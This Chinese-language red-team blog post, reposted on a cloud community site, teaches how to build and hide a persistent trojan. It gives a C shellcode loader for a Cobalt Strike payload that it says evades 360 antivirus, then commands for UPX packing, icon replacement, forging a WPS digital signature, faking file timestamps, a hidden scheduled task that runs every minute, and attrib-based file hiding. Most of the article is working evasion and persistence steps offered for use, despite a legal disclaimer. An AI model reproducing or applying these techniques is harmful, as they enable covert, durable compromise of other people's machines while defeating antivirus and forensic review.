前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >攻防|红队视角下的隐匿木马文件 实现持久化控制

攻防|红队视角下的隐匿木马文件 实现持久化控制

作者头像
亿人安全
发布2023-11-13 11:10:50
2930
发布2023-11-13 11:10:50
举报
文章被收录于专栏:红蓝对抗

声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

前言

在红蓝对抗的过程中,远控木马起到了相当重要的作用,而面对蓝队技术人员的种种查杀,远控木马如何在目标机器上长久的存活下去

免杀马制作

cobalt strike生成shellcode.c

可以根据目标机器安装的杀毒软件制作有针对性的免杀马,当然,能够BypassAV是最好不过的了,为了节约时间成本,选择使用申请动态内存的方式加载shellcode生成免杀木马

代码语言:javascript
复制
#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口
unsigned char buf[] = 
"shellcode";
main()
{
  char *Memory; 
  Memory=VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  memcpy(Memory, buf, sizeof(buf));
  ((void(*)())Memory)();
}

可以通过360的静态免杀,动态操作也没有任何报毒提示

文件加壳

这里生成的shellcode为64为的执行代码,使用upx进行加壳

项目地址

https://github.com/upx/upx

代码语言:javascript
复制
.\upx.exe C:\Users\33519\Desktop\shellcode.exe

文件加壳后属性对比

替换图标

使用BeCyIconGrabberPortable提取图标

项目地址 https://github.com/JarlPenguin/BeCyIconGrabberPortable 使用Resource hacker替换木马程序的图标

伪造签名

使用SigThief对木马程序进行数字签名伪造 项目地址 https://github.com/secretsquirrel/SigThief 使用wps的数字签名进行伪造

代码语言:javascript
复制
python .\sigthief.py -i wps.exe -t .\shellcode.exe -o shellcode2.exe
  • -i 自带签名的文件
  • -t 未加签名的文件
  • -o 输出文件 shellcode2为伪造数字签名后的木马文件

伪造文件修改时间

蓝队技术人员通常会在时间顺序上排查攻击者上传的文件,我们上传的木马文件是最新的,所以使用ChTimeStamp伪造文件修改的时间 项目地址 https://github.com/MsF-NTDLL/ChTimeStamp

代码语言:javascript
复制
ChTimeStamp.exe C:\Users\canxue\Desktop\shellcode2.exe "C:\Program Files (x86)\360\360Safe\360bps.dat"

360bps.bat为安装360时创建的文件,时间为一月份

修改前后文件属性对比

通过everything筛查文件不会发现近期上传的木马文件

计划任务隐藏自启动木马程序

使用SchTask创建隐藏的自启动任务 项目地址 https://github.com/0x727/SchTask_0x727/tree/main

代码语言:javascript
复制
选择主机随机进程名作为计划任务程序文件名
将计划任务程序文件复制到 `%AppData%\Microsoft\Windows\Themes\` 中
创建的计划任务名取同一随机进程名
计划任务触发器以分钟为单位,无限期持续
更改 Index、删除 SD 的键值,隐藏计划任务对应的 XML 文件
代码语言:javascript
复制
SchTask.exe shellcode2.exe 1

设置每分钟执行一次计划任务,计划任务为执行shellcode2.exe程序

被隐藏的计划任务,在注册表中可以看到

一分钟后自动执行木马程序,cobalt strike可以正常接收到反弹的shell

可以正常上线,命令也可以正常执行

代码语言:javascript
复制
attrib +s +h +r

使用此命令深度隐藏木马文件,即使打开查看隐藏文件选项也无法显示文件

原文链接:https://xz.aliyun.com/t/12973#toc-4

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2023-11-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 亿人安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 免杀马制作
  • 文件加壳
  • 替换图标
  • 伪造签名
  • 伪造文件修改时间
  • 计划任务隐藏自启动木马程序
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档